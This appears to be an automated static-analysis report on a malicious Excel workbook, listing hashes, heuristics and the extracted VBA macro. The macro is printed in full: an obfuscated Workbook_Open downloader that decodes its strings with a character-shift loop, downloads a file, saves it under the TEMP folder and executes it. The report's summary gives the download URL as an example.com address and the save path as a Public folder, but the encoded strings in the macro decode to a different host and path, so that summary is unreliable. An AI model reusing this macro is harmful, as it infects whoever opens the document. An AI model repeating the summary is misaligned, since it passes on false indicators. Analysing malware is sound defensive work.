Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a965411af98a15d0…

MALICIOUS

Office (OOXML)

120.7 KB Created: 2020-05-18 08:23:18 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: 892d134064c52c71065c69428d54fac1 SHA-1: 51c9b7e7ee79f8f72f8673a23fdd1bd71a541ab7 SHA-256: a965411af98a15d02b1eb2ec05ce269c52cec5596117b57a40a22db5bbde2859
356 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro contains obfuscated code that utilizes WScript.Shell and CreateObject to download a file from a hardcoded URL and save it to disk. The script then executes the downloaded file, indicating a downloader or dropper functionality. The specific URL reconstructed from the obfuscated string is 'http://www.example.com/payload.exe', and it is saved to 'C:\Users\Public\payload.exe'.

Heuristics 9

  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("WScript.Shell").Run Filename
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
    Matched line in script
            For i = 1 To Len(strInput)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    isPtCKCtSRfNKjTacMBhRCAKzYGSegIeCTciLiyzzVpxKJxsvxHTKzF.write YmvaOCtFtGBGfZEgjsLNKqPgBLMMhboqOVLGbGgJgtIPqBIbtDPgMLW.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set YmvaOCtFtGBGfZEgjsLNKqPgBLMMhboqOVLGbGgJgtIPqBIbtDPgMLW = CreateObject(ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF("w“�œ™�™�žX‚wvr~~z"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set YmvaOCtFtGBGfZEgjsLNKqPgBLMMhboqOVLGbGgJgtIPqBIbtDPgMLW = CreateObject(ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF("w“�œ™�™�žX‚wvr~~z"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Filename = Environ(ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF("~�—š")) + "\" + ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF("}¡“�žW\Z\Z_[aZZZ^_ba`b_X�¢�")

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2359 bytes
SHA-256: 91d921c7a12477c9d7bb6fd1987016ec92704bbb2e1cb46773cd91912a082fef
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim YmvaOCtFtGBGfZEgjsLNKqPgBLMMhboqOVLGbGgJgtIPqBIbtDPgMLW
Dim isPtCKCtSRfNKjTacMBhRCAKzYGSegIeCTciLiyzzVpxKJxsvxHTKzF
Public Sub Workbook_Open()
Set YmvaOCtFtGBGfZEgjsLNKqPgBLMMhboqOVLGbGgJgtIPqBIbtDPgMLW = CreateObject(ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF("w“�œ™�™�žX‚wvr~~z"))
Set isPtCKCtSRfNKjTacMBhRCAKzYGSegIeCTciLiyzzVpxKJxsvxHTKzF = CreateObject(ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF("knynlX}žœ�‹—"))
URL = ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF("’žžšdYYacX[\^XbX[\ZY�¢¡ Y}¡“�žX�¢�")
Filename = Environ(ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF("~�—š")) + "\" + ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF("}¡“�žW\Z\Z_[aZZZ^_ba`b_X�¢�")
YmvaOCtFtGBGfZEgjsLNKqPgBLMMhboqOVLGbGgJgtIPqBIbtDPgMLW.Open ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF("qo~"), URL, False
YmvaOCtFtGBGfZEgjsLNKqPgBLMMhboqOVLGbGgJgtIPqBIbtDPgMLW.send
isPtCKCtSRfNKjTacMBhRCAKzYGSegIeCTciLiyzzVpxKJxsvxHTKzF.Type = 1
isPtCKCtSRfNKjTacMBhRCAKzYGSegIeCTciLiyzzVpxKJxsvxHTKzF.Open
isPtCKCtSRfNKjTacMBhRCAKzYGSegIeCTciLiyzzVpxKJxsvxHTKzF.write YmvaOCtFtGBGfZEgjsLNKqPgBLMMhboqOVLGbGgJgtIPqBIbtDPgMLW.responseBody
isPtCKCtSRfNKjTacMBhRCAKzYGSegIeCTciLiyzzVpxKJxsvxHTKzF.savetofile Filename, 2
CreateObject("WScript.Shell").Run Filename
End Sub
Public Function ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF(strInput As String)
        Dim n As Integer, i As Integer
        n = 42
        For i = 1 To Len(strInput)
            Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n)
        Next i
        ibFAUbfBBWovBYzBFwKwHTaJdBSONfAdxzEEhGOOJiiqVNqwiUJAXCF = strInput
    End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: 14f007bab4b6acf23e4b913a38f889dcd118bef26c42612c6dab0483a4f133a7